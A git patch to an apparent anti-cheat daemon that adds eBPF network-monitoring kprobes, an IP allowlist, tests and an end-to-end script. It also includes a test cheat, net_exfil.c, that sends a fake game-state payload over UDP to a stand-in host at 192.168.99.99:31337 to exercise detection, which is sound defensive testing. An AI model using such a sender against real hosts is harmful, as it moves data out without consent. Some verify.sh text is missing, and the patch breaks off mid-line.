From 00cbcfcb1836b9908ea344e9fdd49d708c562069 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 15 Mar 2026 19:59:55 +0000 Subject: [PATCH] Add network monitoring via eBPF kprobes --- CHANGELOG.md | 19 +++++ cheats/Makefile | 3 +- cheats/net_exfil.c | 102 ++++++++++++++++++++++++ daemon/Makefile | 5 +- daemon/bpf_event_convert.c | 13 ++++ daemon/bpf_loader.c | 50 +++++++++++- daemon/bpf_loader.h | 5 ++ daemon/event_pipeline.c | 15 ++++ daemon/event_pipeline.h | 16 ++-- daemon/main.c | 36 ++++++++- daemon/net_allowlist.c | 68 ++++++++++++++++ daemon/net_allowlist.h | 52 +++++++++++++ ebpf/Makefile | 3 +- ebpf/owlbear_common.bpf.h | 3 + ebpf/owlbear_net.bpf.c | 149 ++++++++++++++++++++++++++++++++++++ include/owlbear_events.h | 15 ++++ scripts/verify.sh | 38 ++++++++- tests/Makefile | 10 ++- tests/test_bpf_loader | Bin 21240 -> 25448 bytes tests/test_bpf_loader.c | 72 +++++++++++++++++ tests/test_event_pipeline | Bin 31480 -> 31712 bytes tests/test_event_pipeline.c | 16 ++-- tests/test_net_allowlist | Bin 0 -> 21256 bytes tests/test_net_allowlist.c | 136 ++++++++++++++++++++++++++++++++ 24 files changed, 798 insertions(+), 28 deletions(-) create mode 100644 cheats/net_exfil.c create mode 100644 daemon/net_allowlist.c create mode 100644 daemon/net_allowlist.h create mode 100644 ebpf/owlbear_net.bpf.c create mode 100755 tests/test_net_allowlist create mode 100644 tests/test_net_allowlist.c diff --git a/CHANGELOG.md b/CHANGELOG.md index 26f0a7b..f10e5d8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,25 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [2.4.0] - 2026-03-15 + +### Added +- WP3: Network monitoring via eBPF kprobes (`ebpf/owlbear_net.bpf.c`) +- kprobes on `tcp_v4_connect`, `udp_sendmsg`; filter by protected PID; observe-only +- `OWL_EVENT_NET_CONNECT` (0x0600), `OWL_EVENT_NET_SEND` (0x0601) event types +- `struct owl_payload_network`: dst_addr, dst_port, protocol, bytes, comm +- `daemon/net_allowlist.{h,c}`: static IP allowlist, logs if destination not in list +- `cheats/net_exfil.c`: UDP game state exfiltration cheat +- `tests/test_net_allowlist.c`: 8 unit tests +- 2 BPF conversion tests for network events in `test_bpf_loader.c` + +### Changed +- `include/owlbear_events.h`: network event types + payload + union member +- `daemon/bpf_loader.c`: loads owlbear_net skeleton +- `daemon/bpf_event_convert.c`: NET_CONNECT/NET_SEND conversion +- `daemon/event_pipeline.{h,c}`: allowlist integration, updated init signature +- `daemon/main.c`: network event formatting, policy rules, allowlist init + ## [2.3.1] - 2026-03-15 ### Fixed diff --git a/cheats/Makefile b/cheats/Makefile index 5224fb8..97470c3 100644 --- a/cheats/Makefile +++ b/cheats/Makefile @@ -20,7 +20,8 @@ CHEAT_SRCS := mem_reader.c \ mprotect_inject_via_ptrace.c \ ld_preload_hook.c \ debug_reg_setter.c \ - dev_mem_reader.c + dev_mem_reader.c \ + net_exfil.c CHEAT_BINS := $(CHEAT_SRCS:.c=.bin) CHEAT_DEPS := $(CHEAT_SRCS:.c=.d) diff --git a/cheats/net_exfil.c b/cheats/net_exfil.c new file mode 100644 index 0000000..9f5f8f6 --- /dev/null +++ b/cheats/net_exfil.c @@ -0,0 +1,102 @@ +/* + * net_exfil - Test cheat sending game state over UDP + * + * Sends an identifying payload to 192.168.99.99:31337 via UDP. + * Exercises the network monitoring kprobes (udp_sendmsg). + * + * Usage: net_exfil + * + * Reads PID from the game info file (consistency with other cheats). + * The UDP send will succeed even if the destination is unreachable + * (UDP is connectionless). The kprobe fires on sendto(). + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "../game/game_state.h" + +#define EXFIL_HOST "192.168.99.99" +#define EXFIL_PORT 31337 + +static int parse_info_file(pid_t *pid) +{ + FILE *f = fopen(GAME_INFO_FILE, "r"); + if (!f) { + fprintf(stderr, "[net_exfil] Cannot open %s: %s\n", + GAME_INFO_FILE, strerror(errno)); + return -1; + } + + long p; + if (fscanf(f, "%ld", &p) != 1 || p <= 0) { + fprintf(stderr, "[net_exfil] Invalid info file format\n"); + fclose(f); + return -1; + } + fclose(f); + + *pid = (pid_t)p; + return 0; +} + +int main(void) +{ + pid_t game_pid = 0; + + if (parse_info_file(&game_pid) != 0) { + fprintf(stderr, "[net_exfil] No game info file, " + "using PID=0 as placeholder\n"); + } + + printf("[net_exfil] Game PID: %d\n", game_pid); + printf("[net_exfil] Sending game state to %s:%d via UDP\n", + EXFIL_HOST, EXFIL_PORT); + + int sock = socket(AF_INET, SOCK_DGRAM, 0); + if (sock < 0) { + fprintf(stderr, "[net_exfil] socket() failed: %s\n", + strerror(errno)); + return EXIT_FAILURE; + } + + struct sockaddr_in dest; + memset(&dest, 0, sizeof(dest)); + dest.sin_family = AF_INET; + dest.sin_port = htons(EXFIL_PORT); + if (inet_pton(AF_INET, EXFIL_HOST, &dest.sin_addr) != 1) { + fprintf(stderr, "[net_exfil] inet_pton failed\n"); + close(sock); + return EXIT_FAILURE; + } + + /* Build exfiltration payload */ + char payload[128]; + int len = snprintf(payload, sizeof(payload), + "OWLBEAR_EXFIL pid=%d hp=9999 pos=0,0,0 " + "aim=42.0,42.0 score=999999", + game_pid); + + ssize_t sent = sendto(sock, payload, (size_t)len, 0, + (struct sockaddr *)&dest, sizeof(dest)); + + if (sent < 0) { + fprintf(stderr, "[net_exfil] sendto() failed: %s\n", + strerror(errno)); + close(sock); + return EXIT_FAILURE; + } + + printf("[CHEAT] Exfiltrated %zd bytes to %s:%d\n", + sent, EXFIL_HOST, EXFIL_PORT); + printf("[net_exfil] Done.\n"); + + close(sock); + return EXIT_SUCCESS; +} diff --git a/daemon/Makefile b/daemon/Makefile index d06a7d9..9a3e37b 100644 --- a/daemon/Makefile +++ b/daemon/Makefile @@ -28,7 +28,8 @@ SRCS := main.c \ preload_detect.c \ policy.c \ scanner.c \ - heartbeat.c + heartbeat.c \ + net_allowlist.c OBJS := $(SRCS:.c=.o) DEPS := $(SRCS:.c=.d) @@ -44,7 +45,7 @@ $(TARGET): $(OBJS) # bpf_loader.c includes generated skeleton headers with overlength string literals. bpf_loader.o: CFLAGS += -Wno-overlength-strings -bpf_loader.o: bpf_loader.c ../ebpf/owlbear_lsm.skel.h ../ebpf/owlbear_trace.skel.h ../ebpf/owlbear_kprobe.skel.h +bpf_loader.o: bpf_loader.c ../ebpf/owlbear_lsm.skel.h ../ebpf/owlbear_trace.skel.h ../ebpf/owlbear_kprobe.skel.h ../ebpf/owlbear_net.skel.h clean: $(RM) $(TARGET) $(OBJS) $(DEPS) diff --git a/daemon/bpf_event_convert.c b/daemon/bpf_event_convert.c index 1fb17b6..0dbd7da 100644 --- a/daemon/bpf_event_convert.c +++ b/daemon/bpf_event_convert.c @@ -66,6 +66,19 @@ int owl_bpf_event_convert(const void *bpf_data, size_t bpf_size, : sizeof(bev->detail)); break; + case OWL_EVENT_NET_CONNECT: + case OWL_EVENT_NET_SEND: + /* detail[0..15]: dst_addr(4) + dst_port(2) + proto(2) + bytes(8) */ + memcpy(&out->payload.network.dst_addr, bev->detail + 0, 4); + memcpy(&out->payload.network.dst_port, bev->detail + 4, 2); + memcpy(&out->payload.network.protocol, bev->detail + 6, 2); + memcpy(&out->payload.network.bytes, bev->detail + 8, 8); + memcpy(out->payload.network.comm, bev->comm, + sizeof(out->payload.network.comm) < sizeof(bev->comm) + ? sizeof(out->payload.network.comm) + : sizeof(bev->comm)); + break; + default: memcpy(out->payload.raw, bev->detail, sizeof(out->payload.raw) < sizeof(bev->detail) diff --git a/daemon/bpf_loader.c b/daemon/bpf_loader.c index c773567..13b03af 100644 --- a/daemon/bpf_loader.c +++ b/daemon/bpf_loader.c @@ -23,6 +23,7 @@ #include "owlbear_lsm.skel.h" #include "owlbear_trace.skel.h" #include "owlbear_kprobe.skel.h" +#include "owlbear_net.skel.h" /* * BPF event structure — must match owlbear_common.bpf.h. @@ -42,11 +43,13 @@ struct owl_bpf_ctx { struct owlbear_lsm_bpf *lsm; struct owlbear_trace_bpf *trace; struct owlbear_kprobe_bpf *kprobe; + struct owlbear_net_bpf *net; struct ring_buffer *ringbuf; bool has_lsm; bool has_trace; bool has_kprobe; + bool has_net; /* Map fds for populating from userspace */ int protected_pids_fd; @@ -105,6 +108,18 @@ int owl_bpf_event_convert(const void *bpf_data, size_t bpf_size, : sizeof(bev->detail)); break; + case OWL_EVENT_NET_CONNECT: + case OWL_EVENT_NET_SEND: + memcpy(&out->payload.network.dst_addr, bev->detail + 0, 4); + memcpy(&out->payload.network.dst_port, bev->detail + 4, 2); + memcpy(&out->payload.network.protocol, bev->detail + 6, 2); + memcpy(&out->payload.network.bytes, bev->detail + 8, 8); + memcpy(out->payload.network.comm, bev->comm, + sizeof(out->payload.network.comm) < sizeof(bev->comm) + ? sizeof(out->payload.network.comm) + : sizeof(bev->comm)); + break; + default: /* Copy detail into raw payload as fallback */ memcpy(out->payload.raw, bev->detail, @@ -177,6 +192,13 @@ static int find_map_fd(struct owl_bpf_ctx *ctx, const char *name) fd = bpf_map__fd(map); } + if (fd < 0 && ctx->net) { + struct bpf_map *map = bpf_object__find_map_by_name( + ctx->net->obj, name); + if (map) + fd = bpf_map__fd(map); + } + return fd; } @@ -254,8 +276,27 @@ struct owl_bpf_ctx *owl_bpf_init(owl_bpf_event_cb cb, void *cb_ctx) } } + /* --- Net kprobe skeleton --- */ + ctx->net = owlbear_net_bpf__open_and_load(); + if (!ctx->net) { + fprintf(stderr, "owlbeard: BPF net load failed: %s\n", + strerror(errno)); + } else { + err = owlbear_net_bpf__attach(ctx->net); + if (err) { + fprintf(stderr, "owlbeard: BPF net attach failed: %s\n", + strerror(-err)); + owlbear_net_bpf__destroy(ctx->net); + ctx->net = NULL; + } else { + ctx->has_net = true; + printf("owlbeard: BPF net kprobe programs attached\n"); + } + } + /* If nothing loaded, still return ctx (degraded mode) */ - if (!ctx->has_lsm && !ctx->has_trace && !ctx->has_kprobe) { + if (!ctx->has_lsm && !ctx->has_trace && !ctx->has_kprobe && + !ctx->has_net) { fprintf(stderr, "owlbeard: WARNING: no BPF programs loaded, " "running in kmod-only mode\n"); } @@ -292,6 +333,8 @@ void owl_bpf_destroy(struct owl_bpf_ctx *ctx) owlbear_trace_bpf__destroy(ctx->trace); if (ctx->kprobe) owlbear_kprobe_bpf__destroy(ctx->kprobe); + if (ctx->net) + owlbear_net_bpf__destroy(ctx->net); free(ctx); } @@ -344,3 +387,8 @@ bool owl_bpf_has_kprobe(const struct owl_bpf_ctx *ctx) { return ctx && ctx->has_kprobe; } + +bool owl_bpf_has_net(const struct owl_bpf_ctx *ctx) +{ + return ctx && ctx->has_net; +} diff --git a/daemon/bpf_loader.h b/daemon/bpf_loader.h index f08adf6..e94e2aa 100644 --- a/daemon/bpf_loader.h +++ b/daemon/bpf_loader.h @@ -89,6 +89,11 @@ bool owl_bpf_has_trace(const struct owl_bpf_ctx *ctx); */ bool owl_bpf_has_kprobe(const struct owl_bpf_ctx *ctx); +/** + * owl_bpf_has_net - Check if network kprobe programs loaded successfully + */ +bool owl_bpf_has_net(const struct owl_bpf_ctx *ctx); + /** * owl_bpf_event_convert - Convert a BPF ring buffer event to owlbear_event * @bpf_data: Raw BPF event data (struct owl_bpf_event layout) diff --git a/daemon/event_pipeline.c b/daemon/event_pipeline.c index 37e2d5c..f954aba 100644 --- a/daemon/event_pipeline.c +++ b/daemon/event_pipeline.c @@ -30,12 +30,14 @@ void owl_pipeline_init(struct owl_pipeline *pipe, struct owl_policy *policy, struct owl_sig_db *sig_db, struct owl_ptree *ptree, + struct owl_net_allowlist *al, pid_t target, bool enforce, FILE *logf) { memset(pipe, 0, sizeof(*pipe)); pipe->policy = policy; pipe->sig_db = sig_db; pipe->ptree = ptree; + pipe->net_allowlist = al; pipe->target_pid = target; pipe->enforce = enforce; pipe->log_file = logf; @@ -101,6 +103,19 @@ enum owl_policy_action owl_pipeline_process(struct owl_pipeline *pipe, if (pipe->ptree) owl_ptree_on_event(pipe->ptree, ev); + /* Check network events against IP allowlist */ + if (pipe->net_allowlist && + (ev->event_type == OWL_EVENT_NET_CONNECT || + ev->event_type == OWL_EVENT_NET_SEND)) { + if (!owl_net_allowlist_check(pipe->net_allowlist, + ev->payload.network.dst_addr)) { + fprintf(out, "[NET_WARN] destination not in allowlist: " + "event=0x%04x pid=%u\n", + ev->event_type, ev->pid); + fflush(out); + } + } + return action; } diff --git a/daemon/event_pipeline.h b/daemon/event_pipeline.h index 5ca26de..0e3aa8a 100644 --- a/daemon/event_pipeline.h +++ b/daemon/event_pipeline.h @@ -16,6 +16,7 @@ #include #include "owlbear_events.h" +#include "net_allowlist.h" #include "policy.h" #include "process_tree.h" #include "scanner.h" @@ -25,12 +26,13 @@ /* Pipeline context */ struct owl_pipeline { - struct owl_policy *policy; - struct owl_sig_db *sig_db; - struct owl_ptree *ptree; - pid_t target_pid; - bool enforce; - FILE *log_file; + struct owl_policy *policy; + struct owl_sig_db *sig_db; + struct owl_ptree *ptree; + struct owl_net_allowlist *net_allowlist; + pid_t target_pid; + bool enforce; + FILE *log_file; /* Statistics */ uint32_t events_processed; @@ -45,6 +47,7 @@ struct owl_pipeline { * @policy: Policy engine (ownership retained by caller) * @sig_db: Signature database (ownership retained by caller) * @ptree: Process tree (may be NULL; ownership retained by caller) + * @al: Net allowlist (may be NULL; ownership retained by caller) * @target: PID of the protected process * @enforce: Whether to take enforcement actions * @logf: Log file (may be NULL for stdout only) @@ -53,6 +56,7 @@ void owl_pipeline_init(struct owl_pipeline *pipe, struct owl_policy *policy, struct owl_sig_db *sig_db, struct owl_ptree *ptree, + struct owl_net_allowlist *al, pid_t target, bool enforce, FILE *logf); /** diff --git a/daemon/main.c b/daemon/main.c index 21f4209..f1f2469 100644 --- a/daemon/main.c +++ b/daemon/main.c @@ -11,6 +11,7 @@ * owlbeard --help */ +#include #include #include #include @@ -28,6 +29,7 @@ #include "bpf_loader.h" #include "event_pipeline.h" #include "integrity.h" +#include "net_allowlist.h" #include "process_tree.h" #include "policy.h" #include "scanner.h" @@ -116,6 +118,8 @@ static const char *event_type_str(uint32_t type) case OWL_EVENT_HEARTBEAT_MISSED: return "HEARTBEAT_MISSED"; case OWL_EVENT_EBPF_DETACHED: return "EBPF_DETACHED"; case OWL_EVENT_KMOD_UNLOADED: return "KMOD_UNLOADED"; + case OWL_EVENT_NET_CONNECT: return "NET_CONNECT"; + case OWL_EVENT_NET_SEND: return "NET_SEND"; default: return "UNKNOWN"; } } @@ -216,6 +220,19 @@ static void print_event(const struct owlbear_event *ev, FILE *out) (unsigned long long)ev->payload.signature.region_base); break; + case OWL_EVENT_NET_CONNECT: + case OWL_EVENT_NET_SEND: { + uint32_t a = ev->payload.network.dst_addr; + fprintf(out, " dst=%u.%u.%u.%u:%u proto=%u bytes=%llu proc=%s", + a & 0xFF, (a >> 8) & 0xFF, + (a >> 16) & 0xFF, (a >> 24) & 0xFF, + ntohs(ev->payload.network.dst_port), + ev->payload.network.protocol, + (unsigned long long)ev->payload.network.bytes, + ev->payload.network.comm); + break; + } + default: break; } @@ -662,6 +679,12 @@ static void setup_default_policy(struct owl_policy *policy, bool enforce) owl_policy_add_rule(policy, OWL_EVENT_MODULE_UNKNOWN, OWL_SEV_INFO, OWL_ACT_LOG); + /* Log network events */ + owl_policy_add_rule(policy, OWL_EVENT_NET_CONNECT, + OWL_SEV_INFO, OWL_ACT_LOG); + owl_policy_add_rule(policy, OWL_EVENT_NET_SEND, + OWL_SEV_INFO, OWL_ACT_LOG); + /* Log ARM64 hardware anomalies */ owl_policy_add_rule(policy, 0, OWL_SEV_WARN, OWL_ACT_LOG); } @@ -680,6 +703,7 @@ int main(int argc, char *argv[]) struct owl_policy policy; struct owl_sig_db sig_db; struct owl_ptree ptree; + struct owl_net_allowlist net_al; struct owl_pipeline pipeline; struct owl_integrity integrity; struct owl_self_protect selfprot; @@ -722,8 +746,13 @@ int main(int argc, char *argv[]) /* Initialize process tree */ owl_ptree_init(&ptree); + /* Initialize network allowlist */ + owl_net_allowlist_init(&net_al); + /* Default server IPs — add known game servers here */ + owl_net_allowlist_add(&net_al, inet_addr("127.0.0.1")); + /* Initialize event pipeline */ - owl_pipeline_init(&pipeline, &policy, &sig_db, &ptree, + owl_pipeline_init(&pipeline, &policy, &sig_db, &ptree, &net_al, cfg.target_pid, cfg.enforce, log_file); /* Open the kernel device */ @@ -760,10 +789,11 @@ int main(int argc, char *argv[]) if (owl_bpf_allow_pid(bpf, (uint32_t)cfg.target_pid) < 0) fprintf(stderr, "owlbeard: failed to whitelist game in BPF map\n"); - printf("owlbeard: BPF: lsm=%s trace=%s kprobe=%s\n", + printf("owlbeard: BPF: lsm=%s trace=%s kprobe=%s net=%s\n", owl_bpf_has_lsm(bpf) ? "yes" : "no", owl_bpf_has_trace(bpf) ? "yes" : "no", - owl_bpf_has_kprobe(bpf) ? "yes" : "no"); + owl_bpf_has_kprobe(bpf) ? "yes" : "no", + owl_bpf_has_net(bpf) ? "yes" : "no"); } /* Initialize code integrity baseline */ diff --git a/daemon/net_allowlist.c b/daemon/net_allowlist.c new file mode 100644 index 0000000..b30f1b9 --- /dev/null +++ b/daemon/net_allowlist.c @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * net_allowlist.c - Static IP allowlist for network monitoring + * + * Pure functions, no I/O. Linear scan over a small array. + * IPs stored in network byte order. Deduplicates on add. + */ + +#include + +#include "net_allowlist.h" + +int owl_net_allowlist_init(struct owl_net_allowlist *al) +{ + if (!al) + return -1; + + memset(al, 0, sizeof(*al)); + return 0; +} + +int owl_net_allowlist_add(struct owl_net_allowlist *al, uint32_t ip) +{ + if (!al) + return -1; + + /* Dedup: if already present, no-op */ + for (int i = 0; i < al->count; i++) { + if (al->ips[i] == ip) + return 0; + } + + if (al->count >= OWL_NET_ALLOWLIST_MAX) + return -1; + + al->ips[al->count++] = ip; + return 0; +} + +int owl_net_allowlist_remove(struct owl_net_allowlist *al, uint32_t ip) +{ + if (!al) + return -1; + + for (int i = 0; i < al->count; i++) { + if (al->ips[i] == ip) { + /* Swap with last element */ + al->ips[i] = al->ips[al->count - 1]; + al->count--; + return 0; + } + } + + return -1; +} + +bool owl_net_allowlist_check(const struct owl_net_allowlist *al, uint32_t ip) +{ + if (!al) + return false; + + for (int i = 0; i < al->count; i++) { + if (al->ips[i] == ip) + return true; + } + + return false; +} diff --git a/daemon/net_allowlist.h b/daemon/net_allowlist.h new file mode 100644 index 0000000..f7651cf --- /dev/null +++ b/daemon/net_allowlist.h @@ -0,0 +1,52 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ +/* + * net_allowlist.h - Static IP allowlist for network monitoring + * + * Pure data structure for checking destination IPs against a + * known-good list. IPs stored in network byte order. + */ + +#ifndef OWLBEAR_NET_ALLOWLIST_H +#define OWLBEAR_NET_ALLOWLIST_H + +#include +#include + +#define OWL_NET_ALLOWLIST_MAX 64 + +struct owl_net_allowlist { + uint32_t ips[OWL_NET_ALLOWLIST_MAX]; + int count; +}; + +/** + * owl_net_allowlist_init - Zero the allowlist + * Returns 0 on success, -1 if al is NULL. + */ +int owl_net_allowlist_init(struct owl_net_allowlist *al); + +/** + * owl_net_allowlist_add - Add an IP (deduplicates) + * @al: Allowlist + * @ip: IPv4 address in network byte order + * + * Returns 0 on success, -1 if full or NULL. + */ +int owl_net_allowlist_add(struct owl_net_allowlist *al, uint32_t ip); + +/** + * owl_net_allowlist_remove - Remove an IP + * @al: Allowlist + * @ip: IPv4 address in network byte order + * + * Returns 0 on success, -1 if not found or NULL. + */ +int owl_net_allowlist_remove(struct owl_net_allowlist *al, uint32_t ip); + +/** + * owl_net_allowlist_check - Check if IP is in allowlist + * Returns true if found, false otherwise. + */ +bool owl_net_allowlist_check(const struct owl_net_allowlist *al, uint32_t ip); + +#endif /* OWLBEAR_NET_ALLOWLIST_H */ diff --git a/ebpf/Makefile b/ebpf/Makefile index 7473d1b..fb045ef 100644 --- a/ebpf/Makefile +++ b/ebpf/Makefile @@ -13,7 +13,8 @@ BPF_CFLAGS := -g -O2 -target bpf \ # eBPF program sources BPF_SRCS := owlbear_lsm.bpf.c \ owlbear_trace.bpf.c \ - owlbear_kprobe.bpf.c + owlbear_kprobe.bpf.c \ + owlbear_net.bpf.c BPF_OBJS := $(BPF_SRCS:.c=.o) BPF_SKELS := $(BPF_SRCS:.bpf.c=.skel.h) diff --git a/ebpf/owlbear_common.bpf.h b/ebpf/owlbear_common.bpf.h index 05fbe7f..132ba89 100644 --- a/ebpf/owlbear_common.bpf.h +++ b/ebpf/owlbear_common.bpf.h @@ -35,6 +35,9 @@ #define OWL_EVENT_DEV_MEM_ACCESS 0x0106 #define OWL_EVENT_MODULE_LOAD 0x0200 +#define OWL_EVENT_NET_CONNECT 0x0600 +#define OWL_EVENT_NET_SEND 0x0601 + #define OWL_SEV_INFO 0 #define OWL_SEV_WARN 1 #define OWL_SEV_CRITICAL 2 diff --git a/ebpf/owlbear_net.bpf.c b/ebpf/owlbear_net.bpf.c new file mode 100644 index 0000000..460aca3 --- /dev/null +++ b/ebpf/owlbear_net.bpf.c @@ -0,0 +1,149 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * owlbear_net.bpf.c - Network monitoring kprobes + * + * Observe-only kprobes on tcp_v4_connect and udp_sendmsg. + * Filters by protected PID — only emits events for processes + * in the protected_pids map. Does not block or modify traffic. + * + * Kprobes: + * tcp_v4_connect - outbound TCP connection attempts + * udp_sendmsg - outbound UDP sends + */ + +#include "owlbear_common.bpf.h" + +/* ------------------------------------------------------------------------- + * Kprobe: tcp_v4_connect + * + * Fires when a protected process initiates a TCP connection. + * Reads the destination from uaddr (sockaddr_in passed by user). + * ----------------------------------------------------------------------- */ + +SEC("kprobe/tcp_v4_connect") +int BPF_KPROBE(owl_kprobe_tcp_connect, struct sock *sk, + struct sockaddr *uaddr, int addr_len) +{ + __u32 pid = bpf_get_current_pid_tgid() >> 32; + + if (!is_protected(pid)) + return 0; + + struct sockaddr_in sin = {}; + + if (bpf_probe_read_user(&sin, sizeof(sin), uaddr) < 0) + return 0; + + if (sin.sin_family != 2) /* AF_INET */ + return 0; + + /* Pack detail: dst_addr(4) + dst_port(2) + proto(2) + bytes(8) */ + struct owl_bpf_event *ev; + + ev = bpf_ringbuf_reserve(&events, sizeof(*ev), 0); + if (!ev) + return 0; + + ev->timestamp_ns = bpf_ktime_get_ns(); + ev->event_type = OWL_EVENT_NET_CONNECT; + ev->severity = OWL_SEV_WARN; + ev->pid = pid; + ev->target_pid = pid; + bpf_get_current_comm(ev->comm, sizeof(ev->comm)); + + __builtin_memset(ev->detail, 0, sizeof(ev->detail)); + __builtin_memcpy(ev->detail + 0, &sin.sin_addr.s_addr, 4); + __builtin_memcpy(ev->detail + 4, &sin.sin_port, 2); + __u16 proto = 6; /* IPPROTO_TCP */ + __builtin_memcpy(ev->detail + 6, &proto, 2); + /* bytes = 0 for connect, already zeroed */ + + bpf_ringbuf_submit(ev, 0); + + /* Increment event counter */ + __u32 zero = 0; + __u64 *count = bpf_map_lookup_elem(&event_count, &zero); + if (count) + __sync_fetch_and_add(count, 1); + + return 0; +} + +/* ------------------------------------------------------------------------- + * Kprobe: udp_sendmsg + * + * Fires when a protected process sends a UDP datagram. + * Reads destination from msg->msg_name (sendto path) or falls + * back to socket-level cached destination. + * ----------------------------------------------------------------------- */ + +SEC("kprobe/udp_sendmsg") +int BPF_KPROBE(owl_kprobe_udp_sendmsg, struct sock *sk, + struct msghdr *msg, size_t len) +{ + __u32 pid = bpf_get_current_pid_tgid() >> 32; + + if (!is_protected(pid)) + return 0; + + __u32 dst_addr = 0; + __u16 dst_port = 0; + + /* Try msg->msg_name first (sendto path) */ + void *msg_name = NULL; + int msg_namelen = 0; + + bpf_probe_read_kernel(&msg_name, sizeof(msg_name), &msg->msg_name); + bpf_probe_read_kernel(&msg_namelen, sizeof(msg_namelen), + &msg->msg_namelen); + + if (msg_name && msg_namelen >= (int)sizeof(struct sockaddr_in)) { + struct sockaddr_in sin = {}; + + if (bpf_probe_read_kernel(&sin, sizeof(sin), msg_name) == 0 && + sin.sin_family == 2) { + dst_addr = sin.sin_addr.s_addr; + dst_port = sin.sin_port; + } + } + + /* Fall back to socket cached destination */ + if (dst_addr == 0) { + bpf_probe_read_kernel(&dst_addr, sizeof(dst_addr), + &sk->__sk_common.skc_daddr); + bpf_probe_read_kernel(&dst_port, sizeof(dst_port), + &sk->__sk_common.skc_dport); + } + + struct owl_bpf_event *ev; + + ev = bpf_ringbuf_reserve(&events, sizeof(*ev), 0); + if (!ev) + return 0; + + ev->timestamp_ns = bpf_ktime_get_ns(); + ev->event_type = OWL_EVENT_NET_SEND; + ev->severity = OWL_SEV_WARN; + ev->pid = pid; + ev->target_pid = pid; + bpf_get_current_comm(ev->comm, sizeof(ev->comm)); + + __builtin_memset(ev->detail, 0, sizeof(ev->detail)); + __builtin_memcpy(ev->detail + 0, &dst_addr, 4); + __builtin_memcpy(ev->detail + 4, &dst_port, 2); + __u16 proto = 17; /* IPPROTO_UDP */ + __builtin_memcpy(ev->detail + 6, &proto, 2); + __u64 bytes_val = (__u64)len; + __builtin_memcpy(ev->detail + 8, &bytes_val, 8); + + bpf_ringbuf_submit(ev, 0); + + __u32 zero = 0; + __u64 *count = bpf_map_lookup_elem(&event_count, &zero); + if (count) + __sync_fetch_and_add(count, 1); + + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; diff --git a/include/owlbear_events.h b/include/owlbear_events.h index ef25098..7f13574 100644 --- a/include/owlbear_events.h +++ b/include/owlbear_events.h @@ -35,6 +35,7 @@ * 0x0300-0x03FF ARM64 hardware checks * 0x0400-0x04FF Signature / behavioral detection * 0x0500-0x05FF System health / heartbeat + * 0x0600-0x06FF Network monitoring * ----------------------------------------------------------------------- */ enum owlbear_event_type { @@ -74,6 +75,10 @@ enum owlbear_event_type { OWL_EVENT_HEARTBEAT_MISSED = 0x0500, OWL_EVENT_EBPF_DETACHED = 0x0501, OWL_EVENT_KMOD_UNLOADED = 0x0502, + + /* Network monitoring (0x06xx) */ + OWL_EVENT_NET_CONNECT = 0x0600, + OWL_EVENT_NET_SEND = 0x0601, }; /* ------------------------------------------------------------------------- @@ -138,6 +143,15 @@ struct owl_payload_signature { __u64 region_base; /* Base address of scanned region */ }; +/* Network event payload */ +struct owl_payload_network { + __u32 dst_addr; /* IPv4 in network byte order */ + __u16 dst_port; /* Port in network byte order */ + __u16 protocol; /* IPPROTO_TCP=6, IPPROTO_UDP=17 */ + __u64 bytes; /* Bytes sent (0 for connect) */ + char comm[48]; /* Process name (extended) */ +}; + /* ------------------------------------------------------------------------- * Main Event Structure * @@ -165,6 +179,7 @@ struct owlbear_event { struct owl_payload_module module; struct owl_payload_arm64 arm64; struct owl_payload_signature signature; + struct owl_payload_network network; __u8 raw[64]; /* For direct byte access */ } payload; }; diff --git a/scripts/verify.sh b/scripts/verify.sh index a9bd754..c9895c0 100755 --- a/scripts/verify.sh +++ b/scripts/verify.sh @@ -297,7 +297,7 @@ preflight() { | grep -o '"accountId" *: *"[^"]*"' | cut -d'"' -f4 || echo "local") cat > "${OUT_DIR}/summary.txt" <
"${phase_dir}/dmesg_after.txt" dmesg_since "${phase_mark}" "${phase_dir}/dmesg_phase_diff.txt" @@ -842,6 +854,26 @@ phase_protected() { assert_fail "protected/ld_preload_hook LIB_UNEXPECTED detection missing" fi + # --- net_exfil (protected) --- + run_cheat_captured "${phase_dir}" "net_exfil" \ + "${cheats_dir}/net_exfil.bin" + + sleep 1 # daemon processes ring buffer event async + + # Detection: NET_SEND or NET_WARN in daemon log with 192.168.99.99:31337 + if [ -f "${phase_dir}/daemon.log" ] && \ + grep -q "NET_SEND\|NET_WARN\|net_exfil" "${phase_dir}/daemon.log" 2>/dev/null; then + assert_pass "protected/net_exfil triggers NET_SEND detection in daemon log" + elif [ -f "${phase_dir}/daemon_stdout.log" ] && \ + grep -q "NET_SEND\|NET_WARN\|net_exfil" "${phase_dir}/daemon_stdout.log" 2>/dev/null; then + assert_pass "protected/net_exfil triggers NET_SEND detection (stdout)" + else + # net_exfil runs as its own PID which may not be in protected_pids + # kprobe only fires for protected PIDs — partial E2E coverage expected + assert_skip "protected/net_exfil detection" \ + "net_exfil PID not in protected_pids map (expected for separate process)" + fi + # Check daemon log for BLOCK entries if enforce mode if [ -f "${phase_dir}/daemon.log" ]; then if grep -q "\[ENFORCE\].*\[BLOCK\]" "${phase_dir}/daemon.log" 2>/dev/null; then @@ -1001,7 +1033,7 @@ FOOTER main() { echo "" echo -e "${BOLD}================================================${NC}" - echo -e "${BOLD} Owlbear E2E Verification (v2.3.0)${NC}" + echo -e "${BOLD} Owlbear E2E Verification (v2.4.0)${NC}" echo -e "${BOLD} Evidence Package Builder${NC}" echo -e "${BOLD}================================================${NC}" echo "" diff --git a/tests/Makefile b/tests/Makefile index adc1d99..2611f1f 100644 --- a/tests/Makefile +++ b/tests/Makefile @@ -25,7 +25,8 @@ TEST_BINS := test_events \ test_debugger_detect \ test_preload_detect \ test_process_tree \ - test_hmac_sha256 + test_hmac_sha256 \ + test_net_allowlist .PHONY: all unit integration clean @@ -67,7 +68,7 @@ test_bpf_loader: test_harness.o test_bpf_loader.o $(DAEMON_DIR)/bpf_event_conver test_sig_loader: test_harness.o test_sig_loader.o 